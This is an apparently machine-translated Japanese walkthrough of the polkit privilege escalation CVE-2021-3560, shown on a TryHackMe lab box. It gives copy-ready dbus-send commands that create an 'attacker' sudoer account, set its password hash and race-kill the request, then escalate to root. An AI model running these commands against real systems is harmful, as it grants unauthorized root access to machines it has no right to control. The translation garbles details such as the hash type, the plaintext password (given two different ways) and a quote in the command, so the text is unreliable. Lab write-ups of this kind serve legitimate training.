Polkit CVE - 2021 - 3560


背景


POLKit(別名PolicyKit)はシステム全体の特権を制御するためのUnixのようなOSSの必須コンポーネントです.あなたが想像できるように、これを利用すると、いくつかの厄介な特権エスカレーションにつながることができます.これに脆弱ないくつかの主流OSSがありました(Ubuntu 20.04やRed Hat Enterprise Linux 8など).

理解する方法と理由


The original report can be found here.


POLKitは、ユーザーとプロセスの権限を割り当てるために使用されます.このexploitはdbusデーモンのコマンドをkillする私たちの能力を利用します.dbusデーモンはPOLKitに正しいIDを渡すことができます.

デモ


I'll be using the polkit box from TryHackMe to demonstrate this
We'll follow through the tutorial process. Our first command is:


time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:attacker string:"Pentester Account" int32:1
それはかなり長いです、それを解剖しましょう.このコマンドは“time”を使って実行され、監視されます.我々がdbus sendコマンドを殺す必要があるときにチェックするために時間を必要とするのを思い出してください.私たちのdbus sendコマンドは、攻撃者と呼ばれるユーザを作成することを要求します.通常、我々はGUIでこれが起こるのを見ます、そして、我々はそれからパスワードを与えるよう要求されます.
それが次のコマンドに
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1000 org.freedesktop.Accounts.User.SetPassword string:'$6$TRiYeJLXw8mLuoxS$UKtnjBa837v4gk8RsQL2qrxj.0P8c9kteeTnN.B3KeeeiWVIjyH17j6sLzmcSHn5HTZLGaaUDMC4MXCjIupp8.' string:'Ask the pentester' & sleep 0.005s; kill $!'
我々の新しいアカウントを作り続けるために、我々はパスワードを提供する必要があります.これは、入力としてSHA 510 Cryptハッシュをとり、パスワードのためにそれを使用します.プレーンテキストでは、パスワードは“find 01 ted”です.
最後に、DbusデーモンがPOLKEYのIDを与える前に、コマンドをkillしたという遅延を使用します.
私たちは、自動的にsudoerとして追加されたExcel 01 Tetのパスワードでアタッカーと呼ばれる新しいアカウントを与えられている.私たちはこのアカウントにsuすることができますし、sudo suをrootにすることができます.

どのようにこれは実際に見ますか?


正直に?それはあなたが期待するよりも簡単に見えます.コマンドのタイミング以外に、これは私たちがこれのために使うことができるコピーアンドペーストDbusコマンドがあるので、これは低複雑さ攻撃です.それらなしでさえ、DBUS utilsを使用する若干の理解はあなたにこれを利用させます.